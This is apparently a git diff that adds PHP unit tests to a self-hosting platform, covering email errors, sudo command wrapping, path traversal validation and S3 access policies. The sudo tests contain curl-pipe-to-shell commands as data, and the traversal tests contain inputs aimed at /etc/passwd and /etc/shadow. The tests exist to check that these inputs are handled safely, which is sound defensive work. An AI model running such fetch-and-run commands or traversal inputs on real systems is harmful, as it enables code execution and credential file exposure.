diff --git a/tests/Unit/Notifications/Channels/EmailChannelTest.php b/tests/Unit/Notifications/Channels/EmailChannelTest.php
new file mode 100644
index 000000000..6600495d3
--- /dev/null
+++ b/tests/Unit/Notifications/Channels/EmailChannelTest.php
@@ -0,0 +1,186 @@
+<?php
+
+use App\Exceptions\NonReportableException;
+use App\Models\EmailNotificationSettings;
+use App\Models\Team;
+use App\Models\User;
+use App\Notifications\Channels\EmailChannel;
+use App\Notifications\Channels\SendsEmail;
+use Illuminate\Notifications\Messages\MailMessage;
+use Illuminate\Notifications\Notification;
+use Resend\Exceptions\ErrorException;
+use Resend\Exceptions\TransporterException;
+
+beforeEach(function () {
+    // Mock the Team with members
+    $this->team = Mockery::mock(Team::class);
+    $this->team->id = 1;
+
+    $user1 = new User(['email' => 'test@example.com']);
+    $user2 = new User(['email' => 'admin@example.com']);
+    $members = collect([$user1, $user2]);
+    $this->team->shouldReceive('getAttribute')->with('members')->andReturn($members);
+    Team::shouldReceive('find')->with(1)->andReturn($this->team);
+
+    // Mock the notifiable (Team)
+    $this->notifiable = Mockery::mock(SendsEmail::class);
+    $this->notifiable->shouldReceive('getAttribute')->with('id')->andReturn(1);
+
+    // Mock email settings with Resend enabled
+    $this->settings = Mockery::mock(EmailNotificationSettings::class);
+    $this->settings->resend_enabled = true;
+    $this->settings->smtp_enabled = false;
+    $this->settings->use_instance_email_settings = false;
+    $this->settings->smtp_from_name = 'Test Sender';
+    $this->settings->smtp_from_address = 'sender@example.com';
+    $this->settings->resend_api_key = 'test_api_key';
+    $this->settings->smtp_password = 'password';
+
+    $this->notifiable->shouldReceive('getAttribute')->with('emailNotificationSettings')->andReturn($this->settings);
+    $this->notifiable->emailNotificationSettings = $this->settings;
+    $this->notifiable->shouldReceive('getRecipients')->andReturn(['test@example.com']);
+
+    // Mock the notification
+    $this->notification = Mockery::mock(Notification::class);
+    $this->notification->shouldReceive('getAttribute')->with('isTransactionalEmail')->andReturn(false);
+    $this->notification->shouldReceive('getAttribute')->with('emails')->andReturn(null);
+
+    $mailMessage = Mockery::mock(MailMessage::class);
+    $mailMessage->subject = 'Test Email';
+    $mailMessage->shouldReceive('render')->andReturn('<html>Test</html>');
+
+    $this->notification->shouldReceive('toMail')->andReturn($mailMessage);
+
+    // Mock global functions
+    $this->app->instance('send_internal_notification', function () {});
+});
+
+it('throws user-friendly error for invalid Resend API key (403)', function () {
+    // Create mock ErrorException for invalid API key
+    $resendError = Mockery::mock(ErrorException::class);
+    $resendError->shouldReceive('getErrorCode')->andReturn(403);
+    $resendError->shouldReceive('getErrorMessage')->andReturn('API key is invalid.');
+    $resendError->shouldReceive('getCode')->andReturn(403);
+
+    // Mock Resend client to throw the error
+    $resendClient = Mockery::mock();
+    $emailsService = Mockery::mock();
+    $emailsService->shouldReceive('send')->andThrow($resendError);
+    $resendClient->emails = $emailsService;
+
+    Resend::shouldReceive('client')->andReturn($resendClient);
+
+    $channel = new EmailChannel;
+
+    expect(fn () => $channel->send($this->notifiable, $this->notification))
+        ->toThrow(
+            NonReportableException::class,
+            'Invalid Resend API key. Please verify your API key in the Resend dashboard and update it in settings.'
+        );
+});
+
+it('throws user-friendly error for restricted Resend API key (401)', function () {
+    // Create mock ErrorException for restricted key
+    $resendError = Mockery::mock(ErrorException::class);
+    $resendError->shouldReceive('getErrorCode')->andReturn(401);
+    $resendError->shouldReceive('getErrorMessage')->andReturn('This API key is restricted to only send emails.');
+    $resendError->shouldReceive('getCode')->andReturn(401);
+
+    // Mock Resend client to throw the error
+    $resendClient = Mockery::mock();
+    $emailsService = Mockery::mock();
+    $emailsService->shouldReceive('send')->andThrow($resendError);
+    $resendClient->emails = $emailsService;
+
+    Resend::shouldReceive('client')->andReturn($resendClient);
+
+    $channel = new EmailChannel;
+
+    expect(fn () => $channel->send($this->notifiable, $this->notification))
+        ->toThrow(
+            NonReportableException::class,
+            'Your Resend API key has restricted permissions. Please use an API key with Full Access permissions.'
+        );
+});
+
+it('throws user-friendly error for rate limiting (429)', function () {
+    // Create mock ErrorException for rate limit
+    $resendError = Mockery::mock(ErrorException::class);
+    $resendError->shouldReceive('getErrorCode')->andReturn(429);
+    $resendError->shouldReceive('getErrorMessage')->andReturn('Too many requests.');
+    $resendError->shouldReceive('getCode')->andReturn(429);
+
+    // Mock Resend client to throw the error
+    $resendClient = Mockery::mock();
+    $emailsService = Mockery::mock();
+    $emailsService->shouldReceive('send')->andThrow($resendError);
+    $resendClient->emails = $emailsService;
+
+    Resend::shouldReceive('client')->andReturn($resendClient);
+
+    $channel = new EmailChannel;
+
+    expect(fn () => $channel->send($this->notifiable, $this->notification))
+        ->toThrow(Exception::class, 'Resend rate limit exceeded. Please try again in a few minutes.');
+});
+
+it('throws user-friendly error for validation errors (400)', function () {
+    // Create mock ErrorException for validation error
+    $resendError = Mockery::mock(ErrorException::class);
+    $resendError->shouldReceive('getErrorCode')->andReturn(400);
+    $resendError->shouldReceive('getErrorMessage')->andReturn('Invalid email format.');
+    $resendError->shouldReceive('getCode')->andReturn(400);
+
+    // Mock Resend client to throw the error
+    $resendClient = Mockery::mock();
+    $emailsService = Mockery::mock();
+    $emailsService->shouldReceive('send')->andThrow($resendError);
+    $resendClient->emails = $emailsService;
+
+    Resend::shouldReceive('client')->andReturn($resendClient);
+
+    $channel = new EmailChannel;
+
+    expect(fn () => $channel->send($this->notifiable, $this->notification))
+        ->toThrow(NonReportableException::class, 'Email validation failed: Invalid email format.');
+});
+
+it('throws user-friendly error for network/transport errors', function () {
+    // Create mock TransporterException
+    $transportError = Mockery::mock(TransporterException::class);
+    $transportError->shouldReceive('getMessage')->andReturn('Network error');
+
+    // Mock Resend client to throw the error
+    $resendClient = Mockery::mock();
+    $emailsService = Mockery::mock();
+    $emailsService->shouldReceive('send')->andThrow($transportError);
+    $resendClient->emails = $emailsService;
+
+    Resend::shouldReceive('client')->andReturn($resendClient);
+
+    $channel = new EmailChannel;
+
+    expect(fn () => $channel->send($this->notifiable, $this->notification))
+        ->toThrow(Exception::class, 'Unable to connect to Resend API. Please check your internet connection and try again.');
+});
+
+it('throws generic error with message for unknown error codes', function () {
+    // Create mock ErrorException with unknown code
+    $resendError = Mockery::mock(ErrorException::class);
+    $resendError->shouldReceive('getErrorCode')->andReturn(500);
+    $resendError->shouldReceive('getErrorMessage')->andReturn('Internal server error.');
+    $resendError->shouldReceive('getCode')->andReturn(500);
+
+    // Mock Resend client to throw the error
+    $resendClient = Mockery::mock();
+    $emailsService = Mockery::mock();
+    $emailsService->shouldReceive('send')->andThrow($resendError);
+    $resendClient->emails = $emailsService;
+
+    Resend::shouldReceive('client')->andReturn($resendClient);
+
+    $channel = new EmailChannel;
+
+    expect(fn () => $channel->send($this->notifiable, $this->notification))
+        ->toThrow(Exception::class, 'Failed to send email via Resend: Internal server error.');
+});
diff --git a/tests/Unit/NotifyOutdatedTraefikServersJobTest.php b/tests/Unit/NotifyOutdatedTraefikServersJobTest.php
new file mode 100644
index 000000000..82edfb0d9
--- /dev/null
+++ b/tests/Unit/NotifyOutdatedTraefikServersJobTest.php
@@ -0,0 +1,56 @@
+<?php
+
+use App\Jobs\NotifyOutdatedTraefikServersJob;
+
+it('has correct queue and retry configuration', function () {
+    $job = new NotifyOutdatedTraefikServersJob;
+
+    expect($job->tries)->toBe(3);
+});
+
+it('handles servers with null traefik_outdated_info gracefully', function () {
+    // Create a mock server with null traefik_outdated_info
+    $server = \Mockery::mock('App\Models\Server')->makePartial();
+    $server->traefik_outdated_info = null;
+
+    // Accessing the property should not throw an error
+    $result = $server->traefik_outdated_info;
+
+    expect($result)->toBeNull();
+});
+
+it('handles servers with traefik_outdated_info data', function () {
+    $expectedInfo = [
+        'current' => '3.5.0',
+        'latest' => '3.6.2',
+        'type' => 'minor_upgrade',
+        'upgrade_target' => 'v3.6',
+        'checked_at' => '2025-11-14T10:00:00Z',
+    ];
+
+    $server = \Mockery::mock('App\Models\Server')->makePartial();
+    $server->traefik_outdated_info = $expectedInfo;
+
+    // Should return the outdated info
+    $result = $server->traefik_outdated_info;
+
+    expect($result)->toBe($expectedInfo);
+});
+
+it('handles servers with patch update info without upgrade_target', function () {
+    $expectedInfo = [
+        'current' => '3.5.0',
+        'latest' => '3.5.2',
+        'type' => 'patch_update',
+        'checked_at' => '2025-11-14T10:00:00Z',
+    ];
+
+    $server = \Mockery::mock('App\Models\Server')->makePartial();
+    $server->traefik_outdated_info = $expectedInfo;
+
+    // Should return the outdated info without upgrade_target
+    $result = $server->traefik_outdated_info;
+
+    expect($result)->toBe($expectedInfo);
+    expect($result)->not->toHaveKey('upgrade_target');
+});
diff --git a/tests/Unit/ParseCommandsByLineForSudoTest.php b/tests/Unit/ParseCommandsByLineForSudoTest.php
new file mode 100644
index 000000000..0f9fda83c
--- /dev/null
+++ b/tests/Unit/ParseCommandsByLineForSudoTest.php
@@ -0,0 +1,310 @@
+<?php
+
+use App\Models\Server;
+
+beforeEach(function () {
+    // Create a mock server with non-root user
+    $this->server = Mockery::mock(Server::class)->makePartial();
+    $this->server->shouldReceive('getAttribute')->with('user')->andReturn('ubuntu');
+    $this->server->shouldReceive('setAttribute')->andReturnSelf();
+    $this->server->user = 'ubuntu';
+});
+
+afterEach(function () {
+    Mockery::close();
+});
+
+test('wraps complex Docker install command with pipes in bash -c', function () {
+    $commands = collect([
+        'curl https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe("sudo bash -c 'curl https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh'");
+});
+
+test('wraps complex Docker install command with multiple fallbacks', function () {
+    $commands = collect([
+        'curl --max-time 300 https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh -s -- --version 27.3',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe("sudo bash -c 'curl --max-time 300 https://releases.rancher.com/install-docker/27.3.sh | sh || curl https://get.docker.com | sh -s -- --version 27.3'");
+});
+
+test('wraps command with pipe to bash in bash -c', function () {
+    $commands = collect([
+        'curl https://example.com/script.sh | bash',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe("sudo bash -c 'curl https://example.com/script.sh | bash'");
+});
+
+test('wraps complex command with pipes and && operators', function () {
+    $commands = collect([
+        'curl https://example.com | sh && echo "done"',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh && echo \"done\"'");
+});
+
+test('escapes single quotes in complex piped commands', function () {
+    $commands = collect([
+        "curl https://example.com | sh -c 'echo \"test\"'",
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh -c '\\''echo \"test\"'\\'''");
+});
+
+test('handles simple command without pipes or operators', function () {
+    $commands = collect([
+        'apt-get update',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('sudo apt-get update');
+});
+
+test('handles command with double ampersand operator but no pipes', function () {
+    $commands = collect([
+        'mkdir -p /foo && chown ubuntu /foo',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('sudo mkdir -p /foo && sudo chown ubuntu /foo');
+});
+
+test('handles command with double pipe operator but no pipes', function () {
+    $commands = collect([
+        'command -v docker || echo "not found"',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    // 'command' is exempted from sudo, but echo gets sudo after ||
+    expect($result[0])->toBe('command -v docker || sudo echo "not found"');
+});
+
+test('handles command with simple pipe but no operators', function () {
+    $commands = collect([
+        'cat file | grep pattern',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('sudo cat file | sudo grep pattern');
+});
+
+test('handles command with subshell $(...)', function () {
+    $commands = collect([
+        'echo $(whoami)',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    // 'echo' is exempted from sudo at the start
+    expect($result[0])->toBe('echo $(sudo whoami)');
+});
+
+test('skips sudo for cd commands', function () {
+    $commands = collect([
+        'cd /var/www',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('cd /var/www');
+});
+
+test('skips sudo for echo commands', function () {
+    $commands = collect([
+        'echo "test"',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('echo "test"');
+});
+
+test('skips sudo for command commands', function () {
+    $commands = collect([
+        'command -v docker',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('command -v docker');
+});
+
+test('skips sudo for true commands', function () {
+    $commands = collect([
+        'true',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('true');
+});
+
+test('handles if statements by adding sudo to condition', function () {
+    $commands = collect([
+        'if command -v docker',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('if sudo command -v docker');
+});
+
+test('skips sudo for fi statements', function () {
+    $commands = collect([
+        'fi',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('fi');
+});
+
+test('adds ownership changes for Coolify data paths', function () {
+    $commands = collect([
+        'mkdir -p /data/coolify/logs',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    // Note: The && operator adds another sudo, creating double sudo for chown/chmod
+    // This is existing behavior that may need refactoring but isn't part of this bug fix
+    expect($result[0])->toBe('sudo mkdir -p /data/coolify/logs && sudo sudo chown -R ubuntu:ubuntu /data/coolify/logs && sudo sudo chmod -R o-rwx /data/coolify/logs');
+});
+
+test('adds ownership changes for Coolify tmp paths', function () {
+    $commands = collect([
+        'mkdir -p /tmp/coolify/cache',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    // Note: The && operator adds another sudo, creating double sudo for chown/chmod
+    // This is existing behavior that may need refactoring but isn't part of this bug fix
+    expect($result[0])->toBe('sudo mkdir -p /tmp/coolify/cache && sudo sudo chown -R ubuntu:ubuntu /tmp/coolify/cache && sudo sudo chmod -R o-rwx /tmp/coolify/cache');
+});
+
+test('does not add ownership changes for system paths', function () {
+    $commands = collect([
+        'mkdir -p /var/log',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe('sudo mkdir -p /var/log');
+});
+
+test('handles multiple commands in sequence', function () {
+    $commands = collect([
+        'apt-get update',
+        'apt-get install -y docker',
+        'curl https://get.docker.com | sh',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result)->toHaveCount(3);
+    expect($result[0])->toBe('sudo apt-get update');
+    expect($result[1])->toBe('sudo apt-get install -y docker');
+    expect($result[2])->toBe("sudo bash -c 'curl https://get.docker.com | sh'");
+});
+
+test('handles empty command list', function () {
+    $commands = collect([]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result)->toBeArray();
+    expect($result)->toHaveCount(0);
+});
+
+test('handles real-world Docker installation command from InstallDocker action', function () {
+    $version = '27.3';
+    $commands = collect([
+        "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$version}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$version}",
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toStartWith("sudo bash -c '");
+    expect($result[0])->toEndWith("'");
+    expect($result[0])->toContain('curl --max-time 300');
+    expect($result[0])->toContain('| sh');
+    expect($result[0])->toContain('||');
+    expect($result[0])->not->toContain('| sudo sh');
+});
+
+test('preserves command structure in wrapped bash -c', function () {
+    $commands = collect([
+        'curl https://example.com | sh || curl https://backup.com | sh',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    // The command should be wrapped without breaking the pipe and fallback structure
+    expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh || curl https://backup.com | sh'");
+
+    // Verify it doesn't contain broken patterns like "| sudo sh"
+    expect($result[0])->not->toContain('| sudo sh');
+    expect($result[0])->not->toContain('|| sudo curl');
+});
+
+test('handles command with mixed operators and subshells', function () {
+    $commands = collect([
+        'docker ps || echo $(date)',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    // This should use the original logic since it's not a complex pipe command
+    expect($result[0])->toBe('sudo docker ps || sudo echo $(sudo date)');
+});
+
+test('handles whitespace-only commands gracefully', function () {
+    $commands = collect([
+        '   ',
+        '',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result)->toHaveCount(2);
+});
+
+test('detects pipe to sh with additional arguments', function () {
+    $commands = collect([
+        'curl https://example.com | sh -s -- --arg1 --arg2',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toBe("sudo bash -c 'curl https://example.com | sh -s -- --arg1 --arg2'");
+});
+
+test('handles command chains with both && and || operators with pipes', function () {
+    $commands = collect([
+        'curl https://first.com | sh && echo "success" || curl https://backup.com | sh',
+    ]);
+
+    $result = parseCommandsByLineForSudo($commands, $this->server);
+
+    expect($result[0])->toStartWith("sudo bash -c '");
+    expect($result[0])->toEndWith("'");
+    expect($result[0])->not->toContain('| sudo');
+});
diff --git a/tests/Unit/PathTraversalSecurityTest.php b/tests/Unit/PathTraversalSecurityTest.php
new file mode 100644
index 000000000..60adb44ac
--- /dev/null
+++ b/tests/Unit/PathTraversalSecurityTest.php
@@ -0,0 +1,184 @@
+<?php
+
+/**
+ * Security tests for isSafeTmpPath() function to prevent path traversal attacks.
+ */
+describe('isSafeTmpPath() security validation', function () {
+    it('rejects null and empty paths', function () {
+        expect(isSafeTmpPath(null))->toBeFalse();
+        expect(isSafeTmpPath(''))->toBeFalse();
+        expect(isSafeTmpPath('   '))->toBeFalse();
+    });
+
+    it('rejects paths shorter than minimum length', function () {
+        expect(isSafeTmpPath('/tmp'))->toBeFalse();
+        expect(isSafeTmpPath('/tmp/'))->toBeFalse();
+        expect(isSafeTmpPath('/tmp/a'))->toBeTrue(); // 6 chars exactly, should pass
+    });
+
+    it('accepts valid /tmp/ paths', function () {
+        expect(isSafeTmpPath('/tmp/file.txt'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/backup.sql'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/subdir/file.txt'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/very/deep/nested/path/file.sql'))->toBeTrue();
+    });
+
+    it('rejects obvious path traversal attempts with ..', function () {
+        expect(isSafeTmpPath('/tmp/../etc/passwd'))->toBeFalse();
+        expect(isSafeTmpPath('/tmp/foo/../etc/passwd'))->toBeFalse();
+        expect(isSafeTmpPath('/tmp/foo/bar/../../etc/passwd'))->toBeFalse();
+        expect(isSafeTmpPath('/tmp/foo/../../../etc/passwd'))->toBeFalse();
+    });
+
+    it('rejects paths that do not start with /tmp/', function () {
+        expect(isSafeTmpPath('/etc/passwd'))->toBeFalse();
+        expect(isSafeTmpPath('/home/user/file.txt'))->toBeFalse();
+        expect(isSafeTmpPath('/var/log/app.log'))->toBeFalse();
+        expect(isSafeTmpPath('tmp/file.txt'))->toBeFalse(); // Missing leading /
+        expect(isSafeTmpPath('./tmp/file.txt'))->toBeFalse();
+    });
+
+    it('handles double slashes by normalizing them', function () {
+        // Double slashes are normalized out, so these should pass
+        expect(isSafeTmpPath('/tmp//file.txt'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/foo//bar.txt'))->toBeTrue();
+    });
+
+    it('handles relative directory references by normalizing them', function () {
+        // ./ references are normalized out, so these should pass
+        expect(isSafeTmpPath('/tmp/./file.txt'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/foo/./bar.txt'))->toBeTrue();
+    });
+
+    it('handles trailing slashes correctly', function () {
+        expect(isSafeTmpPath('/tmp/file.txt/'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/subdir/'))->toBeTrue();
+    });
+
+    it('rejects sophisticated path traversal attempts', function () {
+        // URL encoded .. will be decoded and then rejected
+        expect(isSafeTmpPath('/tmp/%2e%2e/etc/passwd'))->toBeFalse();
+
+        // Mixed case /TMP doesn't start with /tmp/
+        expect(isSafeTmpPath('/TMP/file.txt'))->toBeFalse();
+        expect(isSafeTmpPath('/TMP/../etc/passwd'))->toBeFalse();
+
+        // URL encoded slashes with .. (should decode to /tmp/../../etc/passwd)
+        expect(isSafeTmpPath('/tmp/..%2f..%2fetc/passwd'))->toBeFalse();
+
+        // Null byte injection attempt (if string contains it)
+        expect(isSafeTmpPath("/tmp/file.txt\0../../etc/passwd"))->toBeFalse();
+    });
+
+    it('validates paths even when directories do not exist', function () {
+        // These paths don't exist but should be validated structurally
+        expect(isSafeTmpPath('/tmp/nonexistent/file.txt'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/totally/fake/deeply/nested/path.sql'))->toBeTrue();
+
+        // But traversal should still be blocked even if dir doesn't exist
+        expect(isSafeTmpPath('/tmp/nonexistent/../etc/passwd'))->toBeFalse();
+    });
+
+    it('handles real path resolution when directory exists', function () {
+        // Create a real temp directory to test realpath() logic
+        $testDir = '/tmp/phpunit-test-'.uniqid();
+        mkdir($testDir, 0755, true);
+
+        try {
+            expect(isSafeTmpPath($testDir.'/file.txt'))->toBeTrue();
+            expect(isSafeTmpPath($testDir.'/subdir/file.txt'))->toBeTrue();
+        } finally {
+            rmdir($testDir);
+        }
+    });
+
+    it('prevents symlink-based traversal attacks', function () {
+        // Create a temp directory and symlink
+        $testDir = '/tmp/phpunit-symlink-test-'.uniqid();
+        mkdir($testDir, 0755, true);
+
+        // Try to create a symlink to /etc (may not work in all environments)
+        $symlinkPath = $testDir.'/evil-link';
+
+        try {
+            // Attempt to create symlink (skip test if not possible)
+            if (@symlink('/etc', $symlinkPath)) {
+                // If we successfully created a symlink to /etc,
+                // isSafeTmpPath should resolve it and reject paths through it
+                $testPath = $symlinkPath.'/passwd';
+
+                // The resolved path would be /etc/passwd, not /tmp/...
+                // So it should be rejected
+                $result = isSafeTmpPath($testPath);
+
+                // Clean up before assertion
+                unlink($symlinkPath);
+                rmdir($testDir);
+
+                expect($result)->toBeFalse();
+            } else {
+                // Can't create symlink, skip this specific test
+                $this->markTestSkipped('Cannot create symlinks in this environment');
+            }
+        } catch (Exception $e) {
+            // Clean up on any error
+            if (file_exists($symlinkPath)) {
+                unlink($symlinkPath);
+            }
+            if (file_exists($testDir)) {
+                rmdir($testDir);
+            }
+            throw $e;
+        }
+    });
+
+    it('has consistent behavior with or without trailing slash', function () {
+        expect(isSafeTmpPath('/tmp/file.txt'))->toBe(isSafeTmpPath('/tmp/file.txt/'));
+        expect(isSafeTmpPath('/tmp/subdir/file.sql'))->toBe(isSafeTmpPath('/tmp/subdir/file.sql/'));
+    });
+});
+
+/**
+ * Integration test for S3RestoreJobFinished event using the secure path validation.
+ */
+describe('S3RestoreJobFinished path validation', function () {
+    it('validates that safe paths pass validation', function () {
+        // Test with valid paths - should pass validation
+        $validData = [
+            'serverTmpPath' => '/tmp/valid-backup.sql',
+            'scriptPath' => '/tmp/valid-script.sh',
+            'containerTmpPath' => '/tmp/container-file.sql',
+        ];
+
+        expect(isSafeTmpPath($validData['serverTmpPath']))->toBeTrue();
+        expect(isSafeTmpPath($validData['scriptPath']))->toBeTrue();
+        expect(isSafeTmpPath($validData['containerTmpPath']))->toBeTrue();
+    });
+
+    it('validates that malicious paths fail validation', function () {
+        // Test with malicious paths - should fail validation
+        $maliciousData = [
+            'serverTmpPath' => '/tmp/../etc/passwd',
+            'scriptPath' => '/tmp/../../etc/shadow',
+            'containerTmpPath' => '/etc/important-config',
+        ];
+
+        // Verify that our helper would reject these paths
+        expect(isSafeTmpPath($maliciousData['serverTmpPath']))->toBeFalse();
+        expect(isSafeTmpPath($maliciousData['scriptPath']))->toBeFalse();
+        expect(isSafeTmpPath($maliciousData['containerTmpPath']))->toBeFalse();
+    });
+
+    it('validates realistic S3 restore paths', function () {
+        // These are the kinds of paths that would actually be used
+        $realisticPaths = [
+            '/tmp/coolify-s3-restore-'.uniqid().'.sql',
+            '/tmp/db-backup-'.date('Y-m-d').'.dump',
+            '/tmp/restore-script-'.uniqid().'.sh',
+        ];
+
+        foreach ($realisticPaths as $path) {
+            expect(isSafeTmpPath($path))->toBeTrue();
+        }
+    });
+});
diff --git a/tests/Unit/Policies/PrivateKeyPolicyTest.php b/tests/Unit/Policies/PrivateKeyPolicyTest.php
index dd0037403..6844d92f7 100644
--- a/tests/Unit/Policies/PrivateKeyPolicyTest.php
+++ b/tests/Unit/Policies/PrivateKeyPolicyTest.php
@@ -1,6 +1,5 @@
 <?php
 
-use App\Models\PrivateKey;
 use App\Models\User;
 use App\Policies\PrivateKeyPolicy;
 
diff --git a/tests/Unit/Policies/S3StoragePolicyTest.php b/tests/Unit/Policies/S3StoragePolicyTest.php
new file mode 100644
index 000000000..4ea580d0f
--- /dev/null
+++ b/tests/Unit/Policies/S3StoragePolicyTest.php
@@ -0,0 +1,149 @@
+<?php
+
+use App\Models\S3Storage;
+use App\Models\User;
+use App\Policies\S3StoragePolicy;
+
+it('allows team member to view S3 storage from their team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+    $storage->team_id = 1;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->view($user, $storage))->toBeTrue();
+});
+
+it('denies team member to view S3 storage from another team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+    $storage->team_id = 2;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->view($user, $storage))->toBeFalse();
+});
+
+it('allows team admin to update S3 storage from their team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+    $storage->team_id = 1;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->update($user, $storage))->toBeTrue();
+});
+
+it('denies team member to update S3 storage from another team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+    $storage->team_id = 2;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->update($user, $storage))->toBeFalse();
+});
+
+it('allows team member to delete S3 storage from their team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+    $storage->team_id = 1;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->delete($user, $storage))->toBeTrue();
+});
+
+it('denies team member to delete S3 storage from another team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+    $storage->team_id = 2;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->delete($user, $storage))->toBeFalse();
+});
+
+it('allows admin to create S3 storage', function () {
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('isAdmin')->andReturn(true);
+
+    $policy = new S3StoragePolicy;
+    expect($policy->create($user))->toBeTrue();
+});
+
+it('denies non-admin to create S3 storage', function () {
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('isAdmin')->andReturn(false);
+
+    $policy = new S3StoragePolicy;
+    expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team member to validate connection of S3 storage from their team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
+    $storage->team_id = 1;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->validateConnection($user, $storage))->toBeTrue();
+});
+
+it('denies team member to validate connection of S3 storage from another team', function () {
+    $teams = collect([
+        (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
